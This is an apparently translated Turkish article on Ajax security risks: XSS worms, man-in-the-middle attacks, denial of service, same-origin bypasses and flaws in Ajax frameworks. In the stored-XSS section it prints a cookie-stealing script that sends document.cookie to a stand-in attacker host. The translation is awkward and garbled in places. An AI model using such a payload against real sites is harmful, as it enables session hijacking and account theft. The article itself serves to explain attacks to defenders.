Ajax Guvenligi: Dirt’den daha kuvvetli?
Ajax’in guvenlik icerigine bir bakis
Ajax; daha zengin ozellikli , eszamanli olmayan programlarin gelisimine, izin verir, fakat bunu yaparken de yeni saldirilara yeni olasiliklar yaratir. Ilgili guvenlik konularina ve onlarin olasi cozumlerine bakacagiz.
Ajax (Asynchronous JavaScript and XML = Eszamanli olmayan JavaScript ve XML) 2005’de hayata gecmistir. Bir web servisi modeli Ajax, yeni ve buyuk bir sey olarak web gelistirme isindekilere tanitilmistir. Butun bunlara karsin, Ajax kusursuz degildir, bunlarin en basinda herkes Ajax’in ne oldugunu bilmemektedir ve olasi riskler kurumsal cevrelere tam olarak anlatilamamistir. Bu makale, Ajax’in ne oldugunu, Ajax programlarinin guvenlik iceriklerini ve bu teknolojiye karsi potansiyel saldiri vektorlerini ve olasi koruma sistemlerini inceler.
Isin en basitinden Ajax, eski teknolojilerin uzerine kurulmus fakat onlarin orijinal kapsaminin otesine gecmis herhangi yeni bir seydir. Ajax, Dinamik HTML mantiginin en yeni mirascisidir ve ozellik bakimindan zengin ve pratik web programlari gelistirilmesine izin verir. Butun Ajax web programlarinin en fakir seviyesinde XMLHttpRequest JavaScript nesnesini veriyi uzak bir web sunucusundan cekmek icin kullanir ve be veriyi DOM (Document Object Model = Dokuman Nesne Modeli) kullanan bir web sayfasi icin degistirir. Simdiye kadar, Google, Yahoo ve Microsoft, Ajax gelistirme alaninda buyuk oyuncular olmuslardir, fakat sayilari artan yuksek profilli web sayfalari; eszamanli olmayan, kullanicilari icin ozellik zengini gibi faydalar saglamak icin Ajax’a donmektedirler.
Butun bunlardan once JavaScript ve tarayici guvenlik konularina bakmak en iyisidir. Bir Ajax programinin ilk calistirilmasinin uzerine web sunucusu PC’deki tarayiciya bir seri JavaScript komutlari yollar, bu tarayici daha sonra aldigi komutlari calistirir. Acikca, Ajax programinin kullanicisi programin yapimcilarina ayri bir guven besler. Ajax programinin JavaScript kodu, calistirilabilir mobil koddur ve muhtemel guvelik riskleri icerir. Tipik olarak, tarayici saticilari bu JavaScript kodunun bir kum kutu icinde calistirilmasi gibi dikenli bir konu ile ilgilenirler. Buna ek olarak, JavaScript guvenlik modeli farkli domainlerden birbirleriyle etkilesim icinde olan (ve DOM’u etkileyen) scriptleri korur.
Geleneksel web programlari ve bunlarin Ajax karsitlari arasinda, Cross Side Scripting (XSS), genel ve sIkca tahmin edilemeyen bir problem olarak kalir, bu problem potansiyel saldirgana genis bir saldiri alani saglar. Ajax saldirganlara hem yeni ve zengin bir potansiyel acigi olan programlar saglar hem de cok guclu exploit metotlari sunar. Geleneksel bir web programinda saldirganlar tarihsel olarak dikkatlerini tarayicilar uzerine bir bekleme durumunda odaklamak zorunda kalmislardir ve bu bircok orneginde programin gerektigi gibi sessiz davranmadigi konusunda gorsel ipuclari sunmustur.
Es zamanli olmayan davranislarin tanitilmasiyla beraber, supheli kod, kullaniciya yansitilmayan ipuclari olmaksizin XSS’in bir sonucu olarak sessizce ve el altindan butun zararli aktiviteleri gerceklestiriyor olabilir. Son zamanlardaki bunun ornekleri JS.Spavehero solucaninin ve yakin zamanda Yahoo’nun giris onaylama rutinlerini ve kod filtrelerini exploit eden JS.Yamanner solucaninin davranislarini icerir. Bu iki gercek dunya saldirilarinin genis capli zararina ragmen saldirganlarin XSS gibi bir geleneksel ve iyi bilinen vektor uzerine odaklanmalari bir gercektir. Ajax programinin uygulamasinin ortaya cikmasi kimseye “Web 2.0” teknolojisi secmemesi yonunde ilgilendirmemelidir.
MySpace solucaninin kullandigi saldiri vektoru XMLHTTPRequests’ini bir yayilma mekanizmasi olarak kullanmistir ve bir israrci XSS saldirisi olarak tanimlanabilir. Nispeten iyi huylu olan bu solucan, XMLHTTPRequests kullanan JavaScript kodunu GET ve POST isteklerini arkada ne olup bittiginden habersiz ve hedeflenmeyen kullanicili bir uygun sunucu calistirmak icin kullanmistir. Butun bunlarin bir sonucu onlarin, uygun kontaklarin listesine yeni bir arkadas eklemesidir. Israrci (veya tip 2) XSS saldirisinda, bir supheli saldirgan programin kullanilabilirligini kendine karsi kullanir. En basit seviyesinde, eger bir program XSS’e karsi aciklara sahipse, saldirganlar kendi saldiri vektorlerini sunucu uzerinde depolamayi ve onu uygun kullanicilara karsi kullanmayi secebilirler. Ornegin; mesaj atmak icin session ID’sine ve authentication’a gerek duyan eski bir mesajlasma sistemini ele alalim. Eger session ID’si client tarafli cookie sekilde saklaniyorsa ve program XSS’e gore aciksa, bir saldirgan uygun ve kullaniciyi kendi supheli sitelerine yonlendiren JavaScript kodunu depolayabilir.
<script>
document.location.replace(
"http://www.attackersite.example/steal.php "
+ "what=" + document.cookie)
</script>
Israrli XSS, web programlarinin daha cok eszamanli olmayan ve ozellik bakimindan zengin ortamlara karismasindan dolayi potansiyel olarak tehlikeli ve ciddi bir sorundur. Gelistirmenler, ciddiyetle gecmiste olan tehditleri goz onunde bulundurmalilardir. Bu saldiri vektorlerinin cozumu basittir ve gelistirenlerin XMLHTTPRequest nesnesinin fonksiyonelliginin temeline daha cok hesaba almalaridir.
MITM: Saldirilarin Kissinger’i
Bir Ajax uygulamasi tarafindan iletilen verilerin cogu Sade metin icerisindeki http uzerinde bulundugu icin, Ajax uygulamalari orta (MITM) saldirilar icerisindeki potansiyel sahislara aciktir.
MITM saldirilarinin buyuk oranda varsayimdan ibaret oldugu yaygin bir yanlis anlamadir, ama SSL uygulamasi yapmadan bir Ajax uygulamasini hedef almak isteyen bir saldirgan icin mevcut birkac ilgili saldiri vektorleri(ve araclari) vardirMITM saldirilari bir network seviyesinde yaygin olmasina ragmen, web uygulamalarina (Ajax ya da degil) karsi bir saldiri vektoru olarak da sIklikla kullanilmaktalar. Tipik bir MITM saldirisinda, saldiriyi yapacak kisi mevcut web uygulamasinin mantikli(yasal) bir kopyasini yapar, kullanicilari buna yonlendirir, taleplerini sunucuya tuzak olarak kurar, bir kopyasini depolar, ve sonra da mantikli(yasal)uygulamaya yeniden yonlendirilir. Acikcasi, bu en populer bicimde phising saldirilarinda uygulanan bir saldiri vektorudur ve phisher lar son zamanlarda cok anlatilan iki faktorlu kimlik denetimini bypass edecek benzer teknikler kullanmislardir.
Bir Ajax uygulamasi olarak gelistirilmis bir alis-veris portalini goz onunde bulundurun Geleneksel bir web uygulamasinda oldugu gibi, saldiriyi duzenleyenler uygulamanin bir kopyasini kurabilir(ya da daha spesifik olarak odeme secenekleri),sonra da kullanicilari bunu kullanmalari icin oyuna getirir ve banka/odeme ayrintilari ile ayrilirlar. Ajax uygulamalarinin asenkronize dogasi sagolsun, ayni zamanda Ajax verilerinin kaynagini spoof etmek ve yasal uygulama bilesenlerini daha suphe dolu ve yapmacik maksatlarla degistirmek mumkun olabilir.
Bununla birlikte, geleneksel web uygulamalarinda oldugu gibi, bir Ajax uygulamasi araciligi ile gonderilen HTTP talep ve yanitlari SSL icerisine sarilabilir. MITM saldirilarina[7] karsi hicbir sekilde kusursuz bir cozum olmamasina ragmen, bu bir uygulamanin guvenlik durusunu arttirmak icin basit bir mekanizmadir. Hatirlanmalidir ki SSL kullanan uygulamalara karsi kullanmak icin basarili saldiri vektorleri gelistirmeye cok fazla enerji odaklanmistir ve gelisiguzel yapilan bir internet arastirmasi bile aciga cikarmistir ki arastirmacilar ve kara sapkalilar benzer bicimde emeklerini bosa harcamamislardir. Gercekten de birkac yil once SSL 2.0 bir MITM hotsu saldirilarina karsi savunmasiz bulunmustur. Bu nedenle SSL goz onunde bulunduruldugunda, hesaba katilacak en az guvenlik SSL 3.0 kriptografi ve TLS 1.0 kurmaktir.
Ideal olarak bir uygulamadan bir Ajax client’a servis edilen dinamik kod tabaninin kisitlayici erisimi olmalidir. Ajax yalnizca http araciligi ile iletisime izin verme ile sinirli oldugu icin, ve guvenli HTTPyi tanitmak bireysel veri islemlerini sinirlamaya yardimci olabilecek olmasina ragmen, belirli bir URL ye kimin ya da neyin cagri yapabilecegini belirlemek icin kullanilan bir mekanizma gibi uygulanamaz. Her nasilsa, XMLHTTP talep nesnesi granularite saglamakta ve gelistiriciler ideal olarak ya HTTP oturumunu saglayan http talepleini filitre etmeyi ya da kotu niyetli erisim cabalarini onlemek icin sifrelenmis http basliklarini calistirmayi goz onunde bulundurmalidirlar.
Yeni uygulamalar, eski hileler
Ajax temeli var olan standartlara dayanan bir yapi oldugundan ve uygulamalari konvansiyonel web gelistirme teknikleri etrafinda temellendiginden, Ajax uygulamalarinin ayni zamanda diger butun web uygulamalari ile paylasilan guvenlik konulari vardir.
Goz onunde bulundurulmasi gereken bir guvenlik konusu, eger bir Ajax uygulama rutini zayif dizayn edilmis ya da uygulanmissa, uygulama sunucusuna karsi basarili bir DoS saldirisi yapmak icin kullanilma potansiyeli vardir. Mevcut bir cok web uygulamasi ve sunucu belirli bir zaman dilimi icerisinde belirli sayida eylem gerceklestiren belli sayida kullaniciya uyarlanmistir. Sayesinde uygulama gelistiricilerinin Ajax’in asenkronize dogasini sarmaladigi ve kullanici secme gidisi uzerine temellendirilmis otomatik doldurulmasi gereken bir forma izin verdigi bir senaryo dusunun. Client ya da Server uzerinde onbellek verisi yerine, kucuk bir Ajax kontrolu veritabanini direkt olarak tarar. Bu, acikca yapilan talepleri artirir ve sunucunun(ve/ya da oturum) kaldiramayabilecegi bir surucu yuklenmesi potansiyeline sahiptir. Eger uygun bakim yapilmazsa, uygulamalar bir saldirganin offline’i zorlamasi icin karsilastirmali olarak onemsiz olabilir ve soylentide oldugu gibi, Ajax kendi kendisine karsi kullanilabilir.
Ajax ile ilgili bir buyuk konu, saldirgana artirilmis bir saldiri alani vermeye gucu olmasidir. Gelistiriciler uygulamanin desteginde sinirli islevsellik gosteren sunucu tarafli sayfalar uygulamayi secebilirler. Bu sunucu tarafli sayfalar yasal olarak gerceklestirebilecekleri eylemlerde yasaklanacak olmalarina karsin, saldiri yapacak birine artirilmis bir saldiri alani saglayabilirler ve uygulamanin geri kalani gibi dikkatlice guvenlik altina alinmalari gerekecektir.Bir baska kaygi alani da hatalarla basacikmadir. Geleneksel bir cok web uygulamasinda bu gozden kacirilan bir alandir ve bir sonraki muhtesem uygulamayi yaratmak icin acele edilirken hatalarla basacikma zaman bakimindan baski altinda olan gelisim takimlari tarafindan epey ihmal edilmis olabilir. Hatalarla dogru sekilde basa cikma bu makalenin konusu degil, ancak Ajax gelistirme takimlari, bu kesinlikle dikkat cekecek bir saldiri vektoru oldugu icin bir uygulamanin hata vermesi icin titizlikle calismali.
Ne dilediginize dikkat edin
Ajax guvenligi tarafindan yapilan bir iddia, phishing ve MITM saldirilarindan gelen tehditlerin XMLHTTPRtalep nesnesinin uygulanmasi ile buyuk olcude azaltildigidir. Geleneksel JavaScriptin tersine XMLHTTPRequest nesnesinin capraz domain, capraz port ya da capraz protokol talepleri yapmasina izin verilmemistir. Bu gelisiguzel saldirilari sinirlandirmasina ragmen, ayni zamanda capraz site uygulamalarinin gelisiminde zorluklar cikarabilir. XMLHTTPRequest nesnesinin kullanimi ve ayni orijinal guvenlik politikasi kisitlamalari tarafindan ortaya cikan zorluklar icin birkac potansiyel cozum vardir.Harici bir domain kaynagindan bilgi arayip bulma isteklerinde XMLHTTP Request nesnesi tarafindan belirlenen sinirlandirilmalari bertaraf etmedeki en basit mekanizma, ayni domainde host edilen URL yi cagirmaktir ancak bloke edilmis harici domainden istenilen bilgiyi ayristirmak icin scrpting dilinden faydalanilir.Obur mekanizma istege bagli java script kullanir.Gelistiriciler Capraz domain script kullanarak kolay bir sekilde dis muhteviyata ulasirlar.Ancak bu teknigin kullanimi uygulanan diger herhangi bir scriptten daha az gozealinabilir derecede risksiz degildir , boylece ana sayfadaki scriptlerin ayni baskinligi ile potansiyel guvenlik vakalari kayda degerdir.En iyisi capraz domain scriptlerinden kacinmaktir.Cabalayan gelistirmeciler icin tek mekanizmalar bunlar degildir tabiki ve fransiz yazilim muhendisi JC zaten her iki Greasemonkey scriptleri ve Flash programlarini kullanarak XMLHTTP Request nesnelerinin sinirlarini asabilmek icin kaydadeger bir zaman ayirmistir.XMLHTTP Request nesnelerinin saglamliklarinin asan sadece gelistirmeciler degildir , saldirganlar bundan faydalanmak icin bircok sayida yol bulmuslardir.Opera ve Mozillada olan bir cok hata halk tarafindan kapatilmistir.Tarayici guvenlik mekanizmasi gelistiricilere harici domain kaynaklarina XMLHTTP Request nesneleri kullanarak istekte bulunmalarina izin vermeyebilir ( yukarda tartistigimiz bypass mekanizmalarindan birini kullanmadigi takdirde) ama bu azimli saldirgani durdurmayabilir.Farzedin sizin sitenizde sub-domain var (ornek www.bankam.com hesaplar.bankam.com sub-domainine sahip)Eger sub-domain ( veya en ust seviye domanin URL de olabilir) script enjeksiyonuna karsi zayifsa saldirgan XMLHTTP Request nesnelerini domain etrafinda pervasizca sicratabilir ve oradaki kontrollerin gecerliligin ne olduguna gore bilgilere uygunsuz ulasim saglayabilir. Saldirganlarin XMLHTTP Request nesnelerinindeki guvenlik aciklarini her ne kadar zaten dusunmediklerine inanacak derecede kuskulu isenizde Darknet makalesini hizli bir goz atmanizda her acidan fayda vardir.
Framed
Ajax gelismeye yonelik yapilanmasiyla kendini ortaya koydugundan beri bir cok sayida Ajaxla ilgili sistem ve aractakimi ortaya cikmistir.Bu tip sistemlerin ve aractakimlarinin cikislari ivme kazandi ve hala bir dusme egilimi gostermemektir.Acikca ortadadirki bu sistemleri kullanarak gelistirilen herhangi bir uygulamada guvenlik acigini kalitimsal olarak tasiyacaktir ve bu saldirganlar ve guvenlik uzmanlari icin oldukca cekici yerini koruyacaktirBunun sebebi bu kadar basittir ; kotu niyetli saldirganlar, populer olarak yayginlasmis aractakimlari ve sistemlere basarili saldirilar sIklikla, potansiyel olarak benzer ozellikleri barindiran yuzlerce sayfayi indirmede yararli olacaktirHangi sistemin veya aractakiminin kullnilacagi guvenlik acisindan onemli bir karardir Sistem cevrelerinin cogunlugu olarak ve aractakimlari henuz genelde kendini ispatlamamislardir ( cogu zaten deneme surumudur) ve guvenlik uygulamalarindaki islevselligi arastirilmamis bir degiskendir,risk yonetimi islemleri secimlerinde mutlaka onemli bir rol oynayacaktir.Oldukca cok sayidaki Ajax sistem ve aractakimlari konusunda sinirli sayida mesrulugu kabul edilmis arastirma yapilmasina ragmen,burasi tamamen kisir bir alan degildir.Gecen sene, bircoklarina gore digerlerinden daha meshur olan Ajax aractakimi CPAINT hakkinda bazi sorunlar bulunmusturZaafiyetler capraz site scriptinden kotu niyetli kodlari calistirabilecek yetersiz fonksiyon guvenligine kadar degisIk cesitlilik gostermektedirArastirmaci Thor larholm tarafindan bulunan en kritik acikta saldirgan kotu niyetli kodu calistirmak icin onceden tanimli bir fonksiyonda gecerli bir isim edinmesine bile ihtiyac duymamaktadirBu yilin baslarinda Ajax sistemi Pajax ta bircok sayida acik bulunmustur En cok sozu edilen CPAINT teki aciklarla birlikte yetersiz input temizligi ve gecerlilige yol acan heryerde saldirgan kolayca zararli kodlari calistirabilir.Hizli gelisen Ajax uygulamalari araciligi ile Pajax kulllanan arastirmacilar icin hala daha kaygilandiricisi, bu yilin mayisinda potansiyel olarak yuzlerce Web 2.0 uygulamalarini gecirgen hale getiren metasploit modulu ortaya cikarilmistir
Igitur qui desiderat pacem, praeparet bellum
("Therefore, he who desires peace, let him prepare for war")
Bu nedenle barisi isteyenler savasa hep hazir olsunlar
XSS ve MITM gibi saldiri tasiyicilari genelde son kullanicilara yonelik Web 2.0 uygulamalaridirAncak, bu makalede diger yerlerdede sozunu ettigimiz zayif sistemlerde servere yapilacak saldirinin tamamen yapilamaz olmadigini anlamina gelmemektedir.Ajax uyguamalarinin sunucu elementi guvenli olmayan bir kullanicidan input alir ve bu input filtre edilip degerlendirilmez ise saldirgan kendi kodlarini sistemem enjekte edbilir ve kodlarini sunucuda calistirabilir.Kurnaz saldirganlar henuz tamamen sunucu bazli tasiyicilara atlamiyorlar ama klasIk uzaktan kod dahil etme sorunlarini PHP yaziliminda register_globals=on orneginde oldugu gibi ,ileriki arastirmalar icin ilerde verimli bir alan olabilecegini ispatlamistir.Ajax uygulamalarinin yayilma guvenligini tayin etmek icin ne kadar cabalasakta oldukca sinirli sayida Ajaxa yonelik test araclari suan elimizde mevcuttur.Bu araclarinda bircogu belirli kaynak yoksunlugundan yakinmaktadir.Sprajax (http://www.denimgroup.com/sprajax.html) ornegin, sadece SQL server 2005 databasine birlesim fonksiyonu vardir. Cenzic gibi saticilar kendi otomatik acik bulma yontemlerine guvenerek piyasada oldukca Ajaxi destekleyen uygulamalar hakkinda cok cesaretli iddialarda bulunmaktadirlar.OWASP ( acik internet uygulamalari projesi) Ajax uygulamalarinin guvenligi konusunda pratik metodlar ve katilimci degerlendirmesine yonelik uygulamalarla yardimci olmaktadir.Bu gerceklesene kadar Ajax uygulamalarinin acik ve hata bulmalarinda suanda varolan arac ve metodlarda biraz sIkinti yasayacaklari malesef uzucu bir meseledir.Arastirma ve gelistirme arac ve resmi metodlarin azligina ragmen varolan uygulamalarda guvenlik yatirimlar ve gelistirme takimlarinin olusturulmasi varolan tehlikelere karsi gozden kacirilmamalidir.Herhangi uygulamanin gelistirilmesinde guvenlik gelistirme asamalarinda mutlaka onemli bri rol oynamalidir.Eger Ajax ongorulenlerin hepsini dogrularsa bu beyinler onu hakektigi yere getirmek icin gereken cabayida vereceklerdir.Artik bu gorevi sonuna kadar kovalamak profesyonel guvenlikcilere ve deneyimli gelistirmecilere dusmektedir.
Kaynak: cyber-security.org
belgesi-1163
